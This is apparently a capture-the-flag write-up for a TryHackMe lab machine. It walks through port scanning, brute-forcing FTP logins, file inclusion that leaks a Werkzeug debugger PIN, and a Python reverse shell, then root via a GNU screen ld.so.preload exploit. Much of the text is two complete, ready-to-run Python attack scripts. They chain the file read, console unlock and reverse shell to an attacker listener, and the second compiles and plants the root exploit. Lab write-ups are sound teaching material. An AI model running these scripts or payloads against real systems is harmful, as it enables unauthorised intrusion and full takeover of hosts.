A small team of developers are hiring
Introduction
A small team of IT developers are looking to hire a new candidate. However, not everyone is taking security too serious at this small startup. Can you discover and exploit the vulnerabilities? If you are lucky, you might find a shortcut or two!
Getting the first flag
I have added the IP from THM to my hosts file to make things easier when the IP change between machine resets
Let’s start with a simple nmap
scan:
nmap -sC -sV -p- developersrus.local
This give us a lot of useful information to look at:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-02 06:35 EST
Nmap scan report for developersrus.local (10.10.66.129)
Host is up (0.065s latency).
Not shown: 65529 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d4a0a2c03fcce298f542f4d8b04dec3d (RSA)
| 256 aabd8a864014e3a2fa33527381cc863b (ECDSA)
|_ 256 511935c2e805a3f611c1fdd4a8b5d22c (ED25519)
25/tcp open smtp Postfix smtpd
|_smtp-commands: 2s.home, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
| ssl-cert: Subject: commonName=2s
| Subject Alternative Name: DNS:2s
| Not valid before: 2022-12-15T18:45:09
|_Not valid after: 2032-12-12T18:45:09
|_ssl-date: TLS randomness does not represent time
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.41 (Ubuntu)
8080/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.18.0 (Ubuntu)
8081/tcp open blackice-icecap?
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 NOT FOUND
| Server: Werkzeug/2.2.2 Python/3.8.10
| Date: Mon, 02 Jan 2023 11:36:26 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 207
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.2.2 Python/3.8.10
| Date: Mon, 02 Jan 2023 11:36:26 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 18
| Connection: close
| Under construction
| SIPOptions:
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
| "http://www.w3.org/TR/html4/strict.dtd">
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('SIP/2.0').</p>
| <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
| </body>
| </html>
| WWWOFFLEctrlstat:
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
| "http://www.w3.org/TR/html4/strict.dtd">
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad HTTP/0.9 request type ('WWWOFFLE').</p>
| <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
1 service unrecognized despite returning data.
Service Info: Host: 2s.home; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 132.18 seconds
We have at least three different web-services and a couple other services we might be able to use to get some information from.
A long detour
In my initial scan of the machine, and the subsequent scans, I didn’t get anything for port 25. I even tried connecting to it when I later found a email address, but nothing. I don’t know what happened, but after I paid for THM, it started working. Not sure if that’s a coincidence, or if it’s related.
This caused me to exhaust several theories that later turned out to be completely wrong, and a couple that turned out to be related to the correct path. After spending days staring at various web application brute-forcing tools, and multiple attempts to brute-force FTP and SSH login, I started doing some OSINT of the room creator and the other solvers. When I learned that at least two of the solvers work in the same company, I got renewed motivation and kept going.
A bit further down the line I decided to upgrade THM, and when I did a new nmap scan (because I didn’t get anywhere), the SMTP server was suddenly there.
Continuing with all information in place
Looking at the various websites hosted, two of them are mostly empty. Port 80 only shows a “Work in progress” picture and port 8081 only “Under construction”.
Port 8080 however have some information for us:
From what we see here we get some information:
- Three different users, one of them a very busy person (with a poor password maybe?)
- An email address, which might hint to email being available (remember I didn’t have access to the SMTP-server when I first noticed this)
- A list of important words, maybe other words here are important as well?
Let’s see if we can find anything else using feroxbuster
:
echo "http://developersrus.local/\r\nhttp://developersrus.local:8080/\r\nhttp://developersrus.local:8081/" | feroxbuster --stdin -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -t 200 -e -f --thorough --parallel 3
Let’s also let nikto
have a look:
nikto --url http://developersrus.local/
nikto --url http://developersrus.local:8080/
nikto --url http://developersrus.local:8081/
We get several directories, some with directory listing enabled, and some which just return forbidden. robots.txt
are empty on all ports, and /test
give us nothing. This is where I started doing intense brute-forcing. There’s nothing there.
The Werkzeug Console on /console
is interesting, but it requires a pin. It is possible to calculate the PIN value if you have the correct information, which we don’t have. At least not yet.
Can we log in somewhere?
The FTP server might contains some juicy data, like the source code for the Python application. The findings during my OSINT search made me believe that Python would be a vital part of this box. Testing for anonymous access is the first step, but as expected this hard box wasn’t that easy.
Maybe we can use the SMTP-server for something? Let’s get hydra
to enumerate some users for us:
hydra smtp-enum://developersrus.local:25 -L /usr/share/seclists/Usernames/Names/names.txt
Let’s use cewl
to create a custom wordlist using the words we find on the one page with content:
cewl http://developersrus.local:8080/ >> cewl.txt
Using the interesting usernames from above, andy
, erik
, and ray
combined with our custom password list we can attempt a relatively quick brute-force on the FTP server:
echo "andy\r\nerik\r\nray" >> users.txt
hydra ftp://developersrus.local -L users.txt -P cewl.txt
Let’s use it!
And there it is, the first flag.
On to flag number two
Looking around on the FTP server there’s not much of interest, except for one file: /dev/src/apps/Linux/app
.
After downloading it (get app
), we can check the type using file
:
Given that we know the server is running a Python application, it’s easy to think that this is compiled Python code. Another big hint can be found in the FTP directory where we found the app
executable:
Following the guide from HackTricks we can use pyi-archive_viewer
to decompile it:
I never got uncompyle6
to work, and from the GitHub issues for the tool it looks like the Python version used is too new. So I tried something easier: strings app.pyc
.
Some very interesting information to be found in a couple simple strings:
admin_debug_fetch_remotely
Testing /admin_debug_fetch_remotely
give us yet another blank page, unless we try a POST request:
It looks like the third string above is a required parameter. Looking at the URL and the name of the parameter, it’s starting to smell LFI. Let’s try using get_my_file_remotely=app.py
:
Get something useful
Time to find something useful! Using Burp Intruder with the parameter value as the only variable in a Sniper attack, and the payload fetched from SecLists, filtering on HTTP status 200, we get a lot of files to read through:
One file, /proc/self/fd/2
looks very interesting, what’s that at the top? It’s the flag!
The third flag is next
Continuing down the same email we can see that they are aware the the Werkzeug console probably should not be exposed.
Looking further down, we even get the PIN-code!
Entering it in the Werkzeug console, found on http://developersrus.local:8081/console
opens the console for us.
With a Python console available, it’s time to get a shell!
We can do this using a basic Python reverse shell:
import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.18.94.182",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash");
But before sending it we have to a listener using nc
on our attacking machine: nc -lvnp 443
That was it, we’re in! And the third flag was right there waiting for us:
Finishing with the last flag
After running tools like LinPEAS and LinEnum I got a couple exploits suggested. Even one that LinPEAS was 95% sure would get me root. This machine belongs to the other 5%.
After trying the almost guaranteed and probable exploits, I was left with what was marked as “less probable”, like this one.
But given that I also found it on the SUID list, it was definitely worth a try.
We can then use searchsploit
to copy the exploit, because I’m lazy I just copied it to the same place I already hosted the linpeas.sh
file.
Running it did throw some errors, but it also worked:
A quick look inside /root
gave us the fourth and final flag.
Other interesting information
erik
does have a SSH key in his home folder, he’s the only user that has this. But both him and andy
are prohibited from logging on using SSH. I did copy his SSH key to ray
, so I could log in as him and have a look around, but that didn’t give me anything else interesting.
In conclusion
This was a very fun and interesting machine (once I got past the initial frustration when I couldn’t get anywhere due to the missing SMTP and slow brute-force), with a lot of different elements.
Scripting it
To help improve my Python skills, i decided to write a script to automate the exploitation. The following script will give you a shell as erik
:
#!/usr/bin/python3
import urllib.parse
import subprocess
import requests
import sys
import re
class bcolors:
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
def start_listener(port):
print(f'{bcolors.OKBLUE}[*]{bcolors.ENDC} Starting listener on port {port}')
return subprocess.Popen(['nc', '-lnp', port])
# https://stackoverflow.com/a/2988680
def match_last(orig_string, re_prefix, re_suffix):
re_lookahead= re.compile(f"{re_prefix}(?={re_suffix})")
match= None
for match in re_lookahead.finditer(orig_string):
pass
if match:
re_complete= re.compile(re_prefix + re_suffix)
return re_complete.match(orig_string, match.start())
return match
def get_pin(target):
print(f'{bcolors.OKBLUE}[*]{bcolors.ENDC} Fetching Werkzeug Console PIN')
result = requests.post(f'http://{target}:8081/admin_debug_fetch_remotely', headers={
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
'Content-Type': 'application/x-www-form-urlencoded',
'Connection': 'close',
}, data='get_my_file_remotely=/proc/self/fd/2')
if (result.status_code != 200):
print(f'{bcolors.WARNING}[-]{bcolors.ENDC} Unable to fetch /proc/self/fd/2, trying /var/mail/erik')
result = requests.post(f'http://{target}:8081/admin_debug_fetch_remotely', headers={
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
'Content-Type': 'application/x-www-form-urlencoded',
'Connection': 'close',
}, data='get_my_file_remotely=/var/mail/erik')
pin = match_last(result.text, '\* Debugger PIN: ', '([0-9]{3}-[0-9]{3}-[0-9]{3})').group(1)
print(f'{bcolors.OKGREEN}[+]{bcolors.ENDC} PIN is {bcolors.BOLD}{str(pin)}{bcolors.ENDC}')
return pin
def create_shellcode(listener_ip, listener_port):
return f'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{listener_ip}",{listener_port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash");'
def get_secret(target):
result = requests.get(f'http://{target}:8081/console', headers={
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
'Content-Type': 'application/x-www-form-urlencoded',
'Connection': 'close',
})
return re.search(r'SECRET = "(\w+)";', result.text).group(1)
def send_shell(target, pin, listener_ip, listener_port):
print(f'{bcolors.OKBLUE}[*]{bcolors.ENDC} Unlocking console and sending payload')
secret = get_secret(target)
shell = create_shellcode(listener_ip, listener_port)
session = requests.Session()
session.get(f'http://{target}:8081/console?__debugger__=yes&cmd=pinauth&pin={urllib.parse.quote(pin)}&s={urllib.parse.quote(secret)}', headers={
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
'Connection': 'close',
})
print(f'{bcolors.OKGREEN}[+]{bcolors.ENDC} Console unlocked, triggering shell')
session.get(f'http://{target}:8081/console?__debugger__=yes&cmd={urllib.parse.quote(shell)}&frm=0&s={urllib.parse.quote(secret)}', headers={
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
'Connection': 'close',
})
return True
def main():
if len(sys.argv) != 4:
print(f'{bcolors.OKBLUE}[?]{bcolors.ENDC} usage: {sys.argv[0]} <target> <listener_ip> <listener_port>')
print(f'{bcolors.OKBLUE}[?]{bcolors.ENDC} eg: {sys.argv[0]} 10.10.1.2 192.168.119.140 443')
sys.exit(-1)
target = sys.argv[1]
listener_ip = sys.argv[2]
listener_port = sys.argv[3]
try:
# Start listener
listener = start_listener(listener_port)
# Get Werkzeug pin using LFI
pin = get_pin(target)
# Authenticate with PIN and send shell
send_shell(target, pin, listener_ip, listener_port)
listener.communicate()
# Close listener when we're done
listener.stdin.close()
listener.terminate()
listener.wait(timeout=0.2)
except KeyboardInterrupt:
sys.exit(1)
if __name__ == "__main__":
main()
Notice the warning about /proc/self/fd/2
, that only works on the first run. For subsequent runs we have to fetch the email directly, which we of course could have done anyway. I kept it in just to write some more code.
But why not go all the way to root and get a root shell right away? Let’s do that!
#!/usr/bin/python3
import urllib.parse
import subprocess
import threading
import requests
import socket
import sys
import re
class bcolors:
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
def create_root_exploit(listener_ip, listener_port):
return '''cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
cd /etc
umask 000
screen -D -m -L ld.so.preload echo -ne "\\x0a/tmp/libhax.so"
screen -ls
/tmp/rootshell
python3.6 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%s));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'
''' % (listener_ip, listener_port)
def get_root(conn, listener_ip, listener_port):
print(f'{bcolors.OKBLUE}[*]{bcolors.ENDC} Sending root exploit and triggering reverse shell')
root_exploit = create_root_exploit(listener_ip, listener_port)
conn.send(root_exploit.encode())
def start_listener(port):
print(f'{bcolors.OKBLUE}[*]{bcolors.ENDC} Starting listener on port {port}')
return subprocess.Popen(['nc', '-lnp', port])
def start_staged_listener(ip, port):
print(f'{bcolors.OKBLUE}[*]{bcolors.ENDC} Starting initial listener on port {port}')
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1)
s.bind((ip, int(port)))
s.listen()
conn, addr = s.accept()
print(f'{bcolors.OKGREEN}[+]{bcolors.ENDC} Received connection from {bcolors.BOLD}{str(addr)}{bcolors.ENDC}')
ans = conn.recv(1024).decode()
print(f'{bcolors.OKGREEN}[+]{bcolors.ENDC} Initial shell is {bcolors.BOLD}{str(ans)}{bcolors.ENDC}')
s.close()
# Start listener
listener = start_listener(port)
# Get root shell
get_root(conn, ip, port)
listener.communicate()
# Close listener when we're done
listener.stdin.close()
listener.terminate()
listener.wait(timeout=0.2)
# https://stackoverflow.com/a/2988680
def match_last(orig_string, re_prefix, re_suffix):
re_lookahead= re.compile(f"{re_prefix}(?={re_suffix})")
match= None
for match in re_lookahead.finditer(orig_string):
pass
if match:
re_complete= re.compile(re_prefix + re_suffix)
return re_complete.match(orig_string, match.start())
return match
def get_pin(target):
print(f'{bcolors.OKBLUE}[*]{bcolors.ENDC} Fetching Werkzeug Console PIN')
result = requests.post(f'http://{target}:8081/admin_debug_fetch_remotely', headers={
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
'Content-Type': 'application/x-www-form-urlencoded',
'Connection': 'close',
}, data='get_my_file_remotely=/proc/self/fd/2')
if (result.status_code != 200):
print(f'{bcolors.WARNING}[-]{bcolors.ENDC} Unable to fetch /proc/self/fd/2, trying /var/mail/erik')
result = requests.post(f'http://{target}:8081/admin_debug_fetch_remotely', headers={
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
'Content-Type': 'application/x-www-form-urlencoded',
'Connection': 'close',
}, data='get_my_file_remotely=/var/mail/erik')
pin = match_last(result.text, '\* Debugger PIN: ', '([0-9]{3}-[0-9]{3}-[0-9]{3})').group(1)
print(f'{bcolors.OKGREEN}[+]{bcolors.ENDC} PIN is {bcolors.BOLD}{str(pin)}{bcolors.ENDC}')
return pin
def create_initial_shellcode(listener_ip, listener_port):
return f'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{listener_ip}",{listener_port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash");'
def get_secret(target):
result = requests.get(f'http://{target}:8081/console', headers={
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
'Content-Type': 'application/x-www-form-urlencoded',
'Connection': 'close',
})
return re.search(r'SECRET = "(\w+)";', result.text).group(1)
def send_shell(target, pin, listener_ip, listener_port):
print(f'{bcolors.OKBLUE}[*]{bcolors.ENDC} Unlocking console and sending payload')
secret = get_secret(target)
shell = create_initial_shellcode(listener_ip, listener_port)
session = requests.Session()
session.get(f'http://{target}:8081/console?__debugger__=yes&cmd=pinauth&pin={urllib.parse.quote(pin)}&s={urllib.parse.quote(secret)}', headers={
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
'Connection': 'close',
})
print(f'{bcolors.OKGREEN}[+]{bcolors.ENDC} Console unlocked, triggering shell')
session.get(f'http://{target}:8081/console?__debugger__=yes&cmd={urllib.parse.quote(shell)}&frm=0&s={urllib.parse.quote(secret)}', headers={
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
'Connection': 'close',
})
return True
def main():
if len(sys.argv) != 4:
print(f'{bcolors.OKBLUE}[?]{bcolors.ENDC} usage: {sys.argv[0]} <target> <listener_ip> <listener_port>')
print(f'{bcolors.OKBLUE}[?]{bcolors.ENDC} eg: {sys.argv[0]} 10.10.1.2 192.168.119.140 443')
sys.exit(-1)
target = sys.argv[1]
listener_ip = sys.argv[2]
listener_port = sys.argv[3]
print(f'{bcolors.OKBLUE}[i]{bcolors.ENDC} Attacking {bcolors.BOLD}{str(target)}{bcolors.ENDC}')
try:
# Start initial listener
x = threading.Thread(target=start_staged_listener, args=(listener_ip, listener_port))
x.start()
# Get Werkzeug pin using LFI
pin = get_pin(target)
# Authenticate with PIN and send shell
send_shell(target, pin, listener_ip, listener_port)
except KeyboardInterrupt:
sys.exit(1)
if __name__ == "__main__":
main()